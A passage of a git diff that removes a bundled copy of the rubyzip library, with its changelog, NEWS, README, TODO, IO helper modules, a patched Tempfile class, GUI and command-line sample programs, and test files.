Errno::EEXISTS instead of an Errno::EISDIR if you try to - open a file for writing that is a directory. - - * ziptest.rb: Fixed test that failed on windows because of CRLF - line ending - -2002-01-25 23:58 thomas - - * ziptest.rb: [no log message] - - * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty - deflated entry in zip file - - * .cvsignore: [no log message] - - * ziptest.rb: [no log message] - - * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now - fully functional in the form of ZipOutputStream. - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-01-20 16:00 thomas - - * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. - - * .cvsignore: [no log message] - - * .cvsignore: Added .cvsignore file - - * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor - fixes - -2002-01-19 23:28 thomas - - * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! - - ZipOutputStream in progress - - Wrapped rubyzip in namespace module Zip. - -2002-01-17 18:52 thomas - - * ziptest.rb: Fail nicely if the user doesn't have info-zip - compatible zip in the path - -2002-01-10 18:02 thomas - - * zip.rb: Adjusted chunk size to 32k after a few perf measurements - -2002-01-09 22:10 thomas - - * README.txt: License now same as rubys, not just GPL - -2002-01-06 00:19 thomas - - * README.txt: [no log message] - -2002-01-05 23:09 thomas - - * NEWS, README.txt, NEWS: Updated NEWS file - - * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for - decompressors and a tests for ZipLocalEntry, - ZipCentralDirectoryEntry and ZipCentralDirectory for handling of - corrupt data - - * file1.txt.deflatedData: deflated data extracted from a zip file. - contains file1.txt - - * zip.rb: Changed references to Inflate to Zlib::inflate for - compatibility with ruby-zlib-0.5 - - * README.txt, zip.rb, ziptest.rb: [no log message] - - * example.rb, NEWS: [no log message] - - * COPYING, README.txt: [no log message] - - * ziptest.rb: Fixed problem with test file creation - - * README.txt: Updated README.txt - - * zip.rb, ziptest.rb: ZipFile now works - -2002-01-04 21:51 thomas - - * testDirectory.bin, zip.rb, ziptest.rb: - ZipCentralDirectoryEntryTest now runs - - * ziptest.rb: Changed - ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry - so it works on both unix too. It only worked on windows because - the test made assumptions about the compressed size and crc of an - entry, but that differs depending on the OS because of the CRLF - thing. - - * README.txt: Added note about zlib.c patch - -2002-01-02 18:48 thomas - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: initial - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: Initial revision - diff --git a/lib/zip/NEWS b/lib/zip/NEWS deleted file mode 100644 index a72956fd69..0000000000 --- a/lib/zip/NEWS +++ /dev/null @@ -1,162 +0,0 @@ -= Version 0.9.4 - -Changed ZipOutputStream.put_next_entry signature (API CHANGE!). Now -allows comment, extra field and compression method to be specified. - -= Version 0.9.3 - -Fixed: Added ZipEntry::name_encoding which retrieves the character -encoding of the name and comment of the entry. Also added convenience -methods ZipEntry::name_in(enc) and ZipEntry::comment_in(enc) for -getting zip entry names and comments in a specified character -encoding. - -= Version 0.9.2 - -Fixed: Renaming an entry failed if the entry's new name was a -different length than its old name. (Diego Barros) - -= Version 0.9.1 - -Added symlink support and support for unix file permissions. Reduced -memory usage during decompression. - -New methods ZipFile::[follow_symlinks, restore_times, restore_permissions, restore_ownership]. -New methods ZipEntry::unix_perms, ZipInputStream::eof?. -Added documentation and test for new ZipFile::extract. -Added some of the API suggestions from sf.net #1281314. -Applied patch for sf.net bug #1446926. -Applied patch for sf.net bug #1459902. -Rework ZipEntry and delegate classes. - -= Version 0.5.12 - -Fixed problem with writing binary content to a ZipFile in MS Windows. - -= Version 0.5.11 - -Fixed name clash file method copy_stream from fileutils.rb. Fixed -problem with references to constant CHUNK_SIZE. -ZipInputStream/AbstractInputStream read is now buffered like ruby IO's -read method, which means that read and gets etc can be mixed. The -unbuffered read method has been renamed to sysread. - -= Version 0.5.10 - -Fixed method name resolution problem with FileUtils::copy_stream and -IOExtras::copy_stream. - -= Version 0.5.9 - -Fixed serious memory consumption issue - -= Version 0.5.8 - -Fixed install script. - -= Version 0.5.7 - -install.rb no longer assumes it is being run from the toplevel source -dir. Directory structure changed to reflect common ruby library -project structure. Migrated from RubyUnit to Test::Unit format. Now -uses Rake to build source packages and gems and run unit tests. - -= Version 0.5.6 - -Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of -Errno::EINVAL for some invalid seeks. Fixed 'version needed to -extract'-field incorrect in local headers. - -= Version 0.5.5 - -Fix for a problem with writing zip files that concerns only ruby 1.8.1. - -= Version 0.5.4 - -Significantly reduced memory footprint when modifying zip files. - -= Version 0.5.3 - -Added optimization to avoid decompressing and recompressing individual -entries when modifying a zip archive. - -= Version 0.5.2 - -Fixed ZipFile corruption bug in ZipFile class. Added basic unix -extra-field support. - -= Version 0.5.1 - -Fixed ZipFile.get_output_stream bug. - -= Version 0.5.0 - -List of changes: -* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility -* Changed method names from camelCase to rubys underscore style. -* Installs to zip/ subdir instead of directly to site_ruby -* Added ZipFile.directory and ZipFile.file - each method return an -object that can be used like Dir and File only for the contents of the -zip file. -* Added sample application zipfind which works like Find.find, only -Zip::ZipFind.find traverses into zip archives too. - -Bug fixes: -* AbstractInputStream.each_line with non-default separator - - -= Version 0.5.0a - -Source reorganized. Added ziprequire, which can be used to load ruby -modules from a zip file, in a fashion similar to jar files in -Java. Added gtkRubyzip, another sample application. Implemented -ZipInputStream.lineno and ZipInputStream.rewind - -Bug fixes: - -* Read and write date and time information correctly for zip entries. -* Fixed read() using separate buffer, causing mix of gets/readline/read to -cause problems. - -= Version 0.4.2 - -Performance optimizations. Test suite runs in half the time. - -= Version 0.4.1 - -Windows compatibility fixes. - -= Version 0.4.0 - -Zip::ZipFile is now mutable and provides a more convenient way of -modifying zip archives than Zip::ZipOutputStream. Operations for -adding, extracting, renaming, replacing and removing entries to zip -archives are now available. - -Runs without warnings with -w switch. - -Install script install.rb added. - - -= Version 0.3.1 - -Rudimentary support for writing zip archives. - - -= Version 0.2.2 - -Fixed and extended unit test suite. Updated to work with ruby/zlib -0.5. It doesn't work with earlier versions of ruby/zlib. - - -= Version 0.2.0 - -Class ZipFile added. Where ZipInputStream is used to read the -individual entries in a zip file, ZipFile reads the central directory -in the zip archive, so you can get to any entry in the zip archive -without having to skipping through all the preceeding entries. - - -= Version 0.1.0 - -First working version of ZipInputStream. diff --git a/lib/zip/README b/lib/zip/README deleted file mode 100644 index 79546e0b34..0000000000 --- a/lib/zip/README +++ /dev/null @@ -1,72 +0,0 @@ -= rubyzip - -rubyzip is a ruby library for reading and writing zip files. - -= Install - -If you have rubygems you can install rubyzip directly from the gem -repository - - gem install rubyzip - -Otherwise obtain the source (see below) and run - - ruby install.rb - -To run the unit tests you need to have test::unit installed - - rake test - - -= Documentation - -There is more than one way to access or create a zip archive with -rubyzip. The basic API is modeled after the classes in -java.util.zip from the Java SDK. This means there are classes such -as Zip::ZipInputStream, Zip::ZipOutputStream and -Zip::ZipFile. Zip::ZipInputStream provides a basic interface for -iterating through the entries in a zip archive and reading from the -entries in the same way as from a regular File or IO -object. ZipOutputStream is the corresponding basic output -facility. Zip::ZipFile provides a mean for accessing the archives -central directory and provides means for accessing any entry without -having to iterate through the archive. Unlike Java's -java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means -it can be used to change zip files as well. - -Another way to access a zip archive with rubyzip is to use rubyzip's -Zip::ZipFileSystem API. Using this API files can be read from and -written to the archive in much the same manner as ruby's builtin -classes allows files to be read from and written to the file system. - -rubyzip also features the -zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which -allows ruby to load ruby modules from zip archives. - -For details about the specific behaviour of classes and methods refer -to the test suite. Finally you can generate the rdoc documentation or -visit http://rubyzip.sourceforge.net. - -= License - -rubyzip is distributed under the same license as ruby. See -http://www.ruby-lang.org/en/LICENSE.txt - - -= Website and Project Home - -http://rubyzip.sourceforge.net - -http://sourceforge.net/projects/rubyzip - -== Download (tarballs and gems) - -http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377 - -= Authors - -Thomas Sondergaard (thomas at sondergaard.cc) - -Technorama Ltd. (oss-ruby-zip at technorama.net) - -extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) \ No newline at end of file diff --git a/lib/zip/TODO b/lib/zip/TODO deleted file mode 100644 index e24cde5779..0000000000 --- a/lib/zip/TODO +++ /dev/null @@ -1,16 +0,0 @@ - -* ZipInputStream: Support zip-files with trailing data descriptors -* Adjust rdoc stylesheet to advertise inherited methods if possible -* Suggestion: Add ZipFile/ZipInputStream example that demonstrates extracting all entries. -* Suggestion: ZipFile#extract destination should default to "." -* Suggestion: ZipEntry should have extract(), get_input_stream() methods etc -* SUggestion: ZipInputStream/ZipOutputStream should accept an IO object in addition to a filename. -* (is buffering used anywhere with write?) -* Inflater.sysread should pass the buffer to produce_input. -* Implement ZipFsDir.glob -* ZipFile.checkIntegrity method -* non-MSDOS permission attributes -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* Packager version, required unpacker version in zip headers -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* implement storing attributes and ownership information diff --git a/lib/zip/ioextras.rb b/lib/zip/ioextras.rb deleted file mode 100644 index c611535791..0000000000 --- a/lib/zip/ioextras.rb +++ /dev/null @@ -1,165 +0,0 @@ -module IOExtras #:nodoc: - - CHUNK_SIZE = 131072 - - RANGE_ALL = 0..-1 - - def self.copy_stream(ostream, istream) - s = '' - ostream.write(istream.read(CHUNK_SIZE, s)) until istream.eof? - end - - def self.copy_stream_n(ostream, istream, nbytes) - s = '' - toread = nbytes - while (toread > 0 && ! istream.eof?) - tr = toread > CHUNK_SIZE ? CHUNK_SIZE : toread - ostream.write(istream.read(tr, s)) - toread -= tr - end - end - - - # Implements kind_of? in order to pretend to be an IO object - module FakeIO - def kind_of?(object) - object == IO || super - end - end - - # Implements many of the convenience methods of IO - # such as gets, getc, readline and readlines - # depends on: input_finished?, produce_input and read - module AbstractInputStream - include Enumerable - include FakeIO - - def initialize - super - @lineno = 0 - @outputBuffer = "" - end - - attr_accessor :lineno - - def read(numberOfBytes = nil, buf = nil) - tbuf = nil - - if @outputBuffer.length > 0 - if numberOfBytes <= @outputBuffer.length - tbuf = @outputBuffer.slice!(0, numberOfBytes) - else - numberOfBytes -= @outputBuffer.length if (numberOfBytes) - rbuf = sysread(numberOfBytes, buf) - tbuf = @outputBuffer - tbuf << rbuf if (rbuf) - @outputBuffer = "" - end - else - tbuf = sysread(numberOfBytes, buf) - end - - return nil unless (tbuf) - - if buf - buf.replace(tbuf) - else - buf = tbuf - end - - buf - end - - def readlines(aSepString = $/) - retVal = [] - each_line(aSepString) { |line| retVal << line } - return retVal - end - - def gets(aSepString=$/) - @lineno = @lineno.next - return read if aSepString == nil - aSepString="#{$/}#{$/}" if aSepString == "" - - bufferIndex=0 - while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil) - bufferIndex=@outputBuffer.length - if input_finished? - return @outputBuffer.empty? ? nil : flush - end - @outputBuffer << produce_input - end - sepIndex=matchIndex + aSepString.length - return @outputBuffer.slice!(0...sepIndex) - end - - def flush - retVal=@outputBuffer - @outputBuffer="" - return retVal - end - - def readline(aSepString = $/) - retVal = gets(aSepString) - raise EOFError if retVal == nil - return retVal - end - - def each_line(aSepString = $/) - while true - yield readline(aSepString) - end - rescue EOFError - end - - alias_method :each, :each_line - end - - - # Implements many of the output convenience methods of IO. - # relies on << - module AbstractOutputStream - include FakeIO - - def write(data) - self << data - data.to_s.length - end - - - def print(*params) - self << params.join << $\.to_s - end - - def printf(aFormatString, *params) - self << sprintf(aFormatString, *params) - end - - def putc(anObject) - self << case anObject - when Fixnum then anObject.chr - when String then anObject - else raise TypeError, "putc: Only Fixnum and String supported" - end - anObject - end - - def puts(*params) - params << "\n" if params.empty? - params.flatten.each { - |element| - val = element.to_s - self << val - self << "\n" unless val[-1,1] == "\n" - } - end - - end - -end # IOExtras namespace module - - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example.rb b/lib/zip/samples/example.rb deleted file mode 100755 index 741afa765e..0000000000 --- a/lib/zip/samples/example.rb +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" -system("zip example.zip example.rb gtkRubyzip.rb") - -require 'zip/zip' - -####### Using ZipInputStream alone: ####### - -Zip::ZipInputStream.open("example.zip") { - |zis| - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" -} - - -####### Using ZipFile to read the directory of a zip file: ####### - -zf = Zip::ZipFile.new("example.zip") -zf.each_with_index { - |entry, index| - - puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" - # use zf.get_input_stream(entry) to get a ZipInputStream for the entry - # entry can be the ZipEntry object or any object which has a to_s method that - # returns the name of the entry. -} - - -####### Using ZipOutputStream to write a zip file: ####### - -Zip::ZipOutputStream.open("exampleout.zip") { - |zos| - zos.put_next_entry("the first little entry") - zos.puts "Hello hello hello hello hello hello hello hello hello" - - zos.put_next_entry("the second little entry") - zos.puts "Hello again" - - # Use rubyzip or your zip client of choice to verify - # the contents of exampleout.zip -} - -####### Using ZipFile to change a zip file: ####### - -Zip::ZipFile.open("exampleout.zip") { - |zf| - zf.add("thisFile.rb", "example.rb") - zf.rename("thisFile.rb", "ILikeThisName.rb") - zf.add("Again", "example.rb") -} - -# Lets check -Zip::ZipFile.open("exampleout.zip") { - |zf| - puts "Changed zip file contains: #{zf.entries.join(', ')}" - zf.remove("Again") - puts "Without 'Again': #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example_filesystem.rb b/lib/zip/samples/example_filesystem.rb deleted file mode 100755 index 0cacbd2aa2..0000000000 --- a/lib/zip/samples/example_filesystem.rb +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zipfilesystem' - -EXAMPLE_ZIP = "filesystem.zip" - -File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) - -Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { - |zf| - zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } - zf.dir.mkdir("dir1") - zf.dir.chdir("dir1") - zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } - puts zf.file.read("file1.txt") - puts zf.file.read("../file1.txt") - zf.dir.chdir("..") - zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } - puts "Entries: #{zf.entries.join(', ')}" -} - -Zip::ZipFile.open(EXAMPLE_ZIP) { - |zf| - puts "Entries from reloaded zip: #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/gtkRubyzip.rb b/lib/zip/samples/gtkRubyzip.rb deleted file mode 100755 index 0b63485d5b..0000000000 --- a/lib/zip/samples/gtkRubyzip.rb +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -$VERBOSE = true - -require 'gtk' -require 'zip/zip' - -class MainApp < Gtk::Window - def initialize - super() - set_usize(400, 256) - set_title("rubyzip") - signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } - - box = Gtk::VBox.new(false, 0) - add(box) - - @zipfile = nil - @buttonPanel = ButtonPanel.new - @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - show_file_selector - } - @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - puts "Not implemented!" - } - box.pack_start(@buttonPanel, false, false, 0) - - sw = Gtk::ScrolledWindow.new - sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) - box.pack_start(sw, true, true, 0) - - @clist = Gtk::CList.new(["Name", "Size", "Compression"]) - @clist.set_selection_mode(Gtk::SELECTION_BROWSE) - @clist.set_column_width(0, 120) - @clist.set_column_width(1, 120) - @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { - |w, row, column, event| - @selected_row = row - } - sw.add(@clist) - end - - class ButtonPanel < Gtk::HButtonBox - attr_reader :openButton, :extractButton - def initialize - super - set_layout(Gtk::BUTTONBOX_START) - set_spacing(0) - @openButton = Gtk::Button.new("Open archive") - @extractButton = Gtk::Button.new("Extract entry") - pack_start(@openButton) - pack_start(@extractButton) - end - end - - def show_file_selector - @fileSelector = Gtk::FileSelection.new("Open zip file") - @fileSelector.show - @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - open_zip(@fileSelector.filename) - @fileSelector.destroy - } - @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - @fileSelector.destroy - } - end - - def open_zip(filename) - @zipfile = Zip::ZipFile.open(filename) - @clist.clear - @zipfile.each { - |entry| - @clist.append([ entry.name, - entry.size.to_s, - (100.0*entry.compressedSize/entry.size).to_s+"%" ]) - } - end -end - -mainApp = MainApp.new() - -mainApp.show_all - -Gtk.main diff --git a/lib/zip/samples/qtzip.rb b/lib/zip/samples/qtzip.rb deleted file mode 100755 index 3d76bd18e8..0000000000 --- a/lib/zip/samples/qtzip.rb +++ /dev/null @@ -1,101 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE=true - -$: << "../lib" - -require 'Qt' -system('rbuic -o zipdialogui.rb zipdialogui.ui') -require 'zipdialogui.rb' -require 'zip/zip' - - - -a = Qt::Application.new(ARGV) - -class ZipDialog < ZipDialogUI - - - def initialize() - super() - connect(child('add_button'), SIGNAL('clicked()'), - self, SLOT('add_files()')) - connect(child('extract_button'), SIGNAL('clicked()'), - self, SLOT('extract_files()')) - end - - def zipfile(&proc) - Zip::ZipFile.open(@zip_filename, &proc) - end - - def each(&proc) - Zip::ZipFile.foreach(@zip_filename, &proc) - end - - def refresh() - lv = child("entry_list_view") - lv.clear - each { - |e| - lv.insert_item(Qt::ListViewItem.new(lv, e.name, e.size.to_s)) - } - end - - - def load(zipfile) - @zip_filename = zipfile - refresh - end - - def add_files - l = Qt::FileDialog.getOpenFileNames(nil, nil, self) - zipfile { - |zf| - l.each { - |path| - zf.add(File.basename(path), path) - } - } - refresh - end - - def extract_files - selected_items = [] - unselected_items = [] - lv_item = entry_list_view.first_child - while (lv_item) - if entry_list_view.is_selected(lv_item) - selected_items << lv_item.text(0) - else - unselected_items << lv_item.text(0) - end - lv_item = lv_item.next_sibling - end - puts "selected_items.size = #{selected_items.size}" - puts "unselected_items.size = #{unselected_items.size}" - items = selected_items.size > 0 ? selected_items : unselected_items - puts "items.size = #{items.size}" - - d = Qt::FileDialog.get_existing_directory(nil, self) - if (!d) - puts "No directory chosen" - else - zipfile { |zf| items.each { |e| zf.extract(e, File.join(d, e)) } } - end - - end - - slots 'add_files()', 'extract_files()' -end - -if !ARGV[0] - puts "usage: #{$0} zipname" - exit -end - -zd = ZipDialog.new -zd.load(ARGV[0]) - -a.mainWidget = zd -zd.show() -a.exec() diff --git a/lib/zip/samples/write_simple.rb b/lib/zip/samples/write_simple.rb deleted file mode 100755 index 648989a2ca..0000000000 --- a/lib/zip/samples/write_simple.rb +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" -} diff --git a/lib/zip/samples/zipfind.rb b/lib/zip/samples/zipfind.rb deleted file mode 100755 index 5a9d84ec1c..0000000000 --- a/lib/zip/samples/zipfind.rb +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zip' -require 'find' - -module Zip - module ZipFind - def self.find(path, zipFilePattern = /\.zip$/i) - Find.find(path) { - |fileName| - yield(fileName) - if zipFilePattern.match(fileName) && File.file?(fileName) - begin - Zip::ZipFile.foreach(fileName) { - |zipEntry| - yield(fileName + File::SEPARATOR + zipEntry.to_s) - } - rescue Errno::EACCES => ex - puts ex - end - end - } - end - - def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) - self.find(path, zipFilePattern) { - |fileName| - yield(fileName) if fileNamePattern.match(fileName) - } - end - - end -end - -if __FILE__ == $0 - module ZipFindConsoleRunner - - PATH_ARG_INDEX = 0; - FILENAME_PATTERN_ARG_INDEX = 1; - ZIPFILE_PATTERN_ARG_INDEX = 2; - - def self.run(args) - check_args(args) - Zip::ZipFind.find_file(args[PATH_ARG_INDEX], - args[FILENAME_PATTERN_ARG_INDEX], - args[ZIPFILE_PATTERN_ARG_INDEX]) { - |fileName| - report_entry_found fileName - } - end - - def self.check_args(args) - if (args.size != 3) - usage - exit - end - end - - def self.usage - puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" - end - - def self.report_entry_found(fileName) - puts fileName - end - - end - - ZipFindConsoleRunner.run(ARGV) -end diff --git a/lib/zip/stdrubyext.rb b/lib/zip/stdrubyext.rb deleted file mode 100644 index 833365dbca..0000000000 --- a/lib/zip/stdrubyext.rb +++ /dev/null @@ -1,111 +0,0 @@ -unless Enumerable.method_defined?(:inject) - module Enumerable #:nodoc:all - def inject(n = 0) - each { |value| n = yield(n, value) } - n - end - end -end - -module Enumerable #:nodoc:all - # returns a new array of all the return values not equal to nil - # This implementation could be faster - def select_map(&aProc) - map(&aProc).reject { |e| e.nil? } - end -end - -unless Object.method_defined?(:object_id) - class Object #:nodoc:all - # Using object_id which is the new thing, so we need - # to make that work in versions prior to 1.8.0 - alias object_id id - end -end - -unless File.respond_to?(:read) - class File # :nodoc:all - # singleton method read does not exist in 1.6.x - def self.read(fileName) - open(fileName) { |f| f.read } - end - end -end - -class String #:nodoc:all - def starts_with(aString) - rindex(aString, 0) == 0 - end - - def ends_with(aString) - index(aString, -aString.size) - end - - def ensure_end(aString) - ends_with(aString) ? self : self + aString - end - - def lchop - slice(1, length) - end -end - -class Time #:nodoc:all - - #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: - # - # Register CX, the Time: - # Bits 0-4 2 second increments (0-29) - # Bits 5-10 minutes (0-59) - # bits 11-15 hours (0-24) - # - # Register DX, the Date: - # Bits 0-4 day (1-31) - # bits 5-8 month (1-12) - # bits 9-15 year (four digit year minus 1980) - - - def to_binary_dos_time - (sec/2) + - (min << 5) + - (hour << 11) - end - - def to_binary_dos_date - (day) + - (month << 5) + - ((year - 1980) << 9) - end - - # Dos time is only stored with two seconds accuracy - def dos_equals(other) - to_i/2 == other.to_i/2 - end - - def self.parse_binary_dos_format(binaryDosDate, binaryDosTime) - second = 2 * ( 0b11111 & binaryDosTime) - minute = ( 0b11111100000 & binaryDosTime) >> 5 - hour = (0b1111100000000000 & binaryDosTime) >> 11 - day = ( 0b11111 & binaryDosDate) - month = ( 0b111100000 & binaryDosDate) >> 5 - year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980 - begin - return Time.local(year, month, day, hour, minute, second) - end - end -end - -class Module #:nodoc:all - def forward_message(forwarder, *messagesToForward) - methodDefs = messagesToForward.map { - |msg| - "def #{msg}; #{forwarder}(:#{msg}); end" - } - module_eval(methodDefs.join("\n")) - end -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/tempfile_bugfixed.rb b/lib/zip/tempfile_bugfixed.rb deleted file mode 100644 index a04c59e2dc..0000000000 --- a/lib/zip/tempfile_bugfixed.rb +++ /dev/null @@ -1,195 +0,0 @@ -# -# tempfile - manipulates temporary files -# -# $Id$ -# - -require 'delegate' -require 'tmpdir' - -module BugFix #:nodoc:all - -# A class for managing temporary files. This library is written to be -# thread safe. -class Tempfile < DelegateClass(File) - MAX_TRY = 10 - @@cleanlist = [] - - # Creates a temporary file of mode 0600 in the temporary directory - # whose name is basename.pid.n and opens with mode "w+". A Tempfile - # object works just like a File object. - # - # If tmpdir is omitted, the temporary directory is determined by - # Dir::tmpdir provided by 'tmpdir.rb'. - # When $SAFE > 0 and the given tmpdir is tainted, it uses - # /tmp. (Note that ENV values are tainted by default) - def initialize(basename, tmpdir=Dir::tmpdir) - if $SAFE > 0 and tmpdir.tainted? - tmpdir = '/tmp' - end - - lock = nil - n = failure = 0 - - begin - Thread.critical = true - - begin - tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) - lock = tmpname + '.lock' - n += 1 - end while @@cleanlist.include?(tmpname) or - File.exist?(lock) or File.exist?(tmpname) - - Dir.mkdir(lock) - rescue - failure += 1 - retry if failure < MAX_TRY - raise "cannot generate tempfile `%s'" % tmpname - ensure - Thread.critical = false - end - - @data = [tmpname] - @clean_proc = Tempfile.callback(@data) - ObjectSpace.define_finalizer(self, @clean_proc) - - @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) - @tmpname = tmpname - @@cleanlist << @tmpname - @data[1] = @tmpfile - @data[2] = @@cleanlist - - super(@tmpfile) - - # Now we have all the File/IO methods defined, you must not - # carelessly put bare puts(), etc. after this. - - Dir.rmdir(lock) - end - - # Opens or reopens the file with mode "r+". - def open - @tmpfile.close if @tmpfile - @tmpfile = File.open(@tmpname, 'r+') - @data[1] = @tmpfile - __setobj__(@tmpfile) - end - - def _close # :nodoc: - @tmpfile.close if @tmpfile - @data[1] = @tmpfile = nil - end - protected :_close - - # Closes the file. If the optional flag is true, unlinks the file - # after closing. - # - # If you don't explicitly unlink the temporary file, the removal - # will be delayed until the object is finalized. - def close(unlink_now=false) - if unlink_now - close! - else - _close - end - end - - # Closes and unlinks the file. - def close! - _close - @clean_proc.call - ObjectSpace.undefine_finalizer(self) - end - - # Unlinks the file. On UNIX-like systems, it is often a good idea - # to unlink a temporary file immediately after creating and opening - # it, because it leaves other programs zero chance to access the - # file. - def unlink - # keep this order for thread safeness - File.unlink(@tmpname) if File.exist?(@tmpname) - @@cleanlist.delete(@tmpname) if @@cleanlist - end - alias delete unlink - - if RUBY_VERSION > '1.8.0' - def __setobj__(obj) - @_dc_obj = obj - end - else - def __setobj__(obj) - @obj = obj - end - end - - # Returns the full path name of the temporary file. - def path - @tmpname - end - - # Returns the size of the temporary file. As a side effect, the IO - # buffer is flushed before determining the size. - def size - if @tmpfile - @tmpfile.flush - @tmpfile.stat.size - else - 0 - end - end - alias length size - - class << self - def callback(data) # :nodoc: - pid = $$ - lambda{ - if pid == $$ - path, tmpfile, cleanlist = *data - - print "removing ", path, "..." if $DEBUG - - tmpfile.close if tmpfile - - # keep this order for thread safeness - File.unlink(path) if File.exist?(path) - cleanlist.delete(path) if cleanlist - - print "done\n" if $DEBUG - end - } - end - - # If no block is given, this is a synonym for new(). - # - # If a block is given, it will be passed tempfile as an argument, - # and the tempfile will automatically be closed when the block - # terminates. In this case, open() returns nil. - def open(*args) - tempfile = new(*args) - - if block_given? - begin - yield(tempfile) - ensure - tempfile.close - end - - nil - else - tempfile - end - end - end -end - -end # module BugFix -if __FILE__ == $0 -# $DEBUG = true - f = Tempfile.new("foo") - f.print("foo\n") - f.close - f.open - p f.gets # => "foo\n" - f.close! -end diff --git a/lib/zip/test/alltests.rb b/lib/zip/test/alltests.rb deleted file mode 100755 index 691349af37..0000000000 --- a/lib/zip/test/alltests.rb +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'stdrubyexttest' -require 'ioextrastest' -require 'ziptest' -require 'zipfilesystemtest' -require 'ziprequiretest' diff --git a/lib/zip/test/data/file1.txt b/lib/zip/test/data/file1.txt deleted file mode 100644 index 23ea2f731b..0000000000 --- a/lib/zip/test/data/file1.txt +++ /dev/null @@ -1,46 +0,0 @@ - -AUTOMAKE_OPTIONS = gnu - -EXTRA_DIST = test.zip - -CXXFLAGS= -g - -noinst_LIBRARIES = libzipios.a - -bin_PROGRAMS = test_zip test_izipfilt test_izipstream -# test_flist - -libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ - fcol_common.h fcolexceptions.cpp fcolexceptions.h \ - fileentry.cpp fileentry.h flist.cpp \ - flist.h flistentry.cpp flistentry.h \ - flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ - inflatefilt.cpp inflatefilt.h izipfilt.cpp \ - izipfilt.h izipstream.cpp izipstream.h \ - zipfile.cpp zipfile.h ziphead.cpp \ - ziphead.h flistscanner.ll - -# test_flist_SOURCES = test_flist.cpp - -test_izipfilt_SOURCES = test_izipfilt.cpp - -test_izipstream_SOURCES = test_izipstream.cpp - -test_zip_SOURCES = test_zip.cpp - -# Notice that libzipios.a is not specified as -L. -lzipios -# If it was, automake would not include it as a dependency. - -# test_flist_LDADD = libzipios.a - -test_izipfilt_LDADD = libzipios.a -lz - -test_zip_LDADD = libzipios.a -lz - -test_izipstream_LDADD = libzipios.a -lz - - - -flistscanner.cc : flistscanner.ll - $(LEX) -+ -PFListScanner -o$@ $^ - diff --git a/lib/zip/test/data/file1.txt.deflatedData 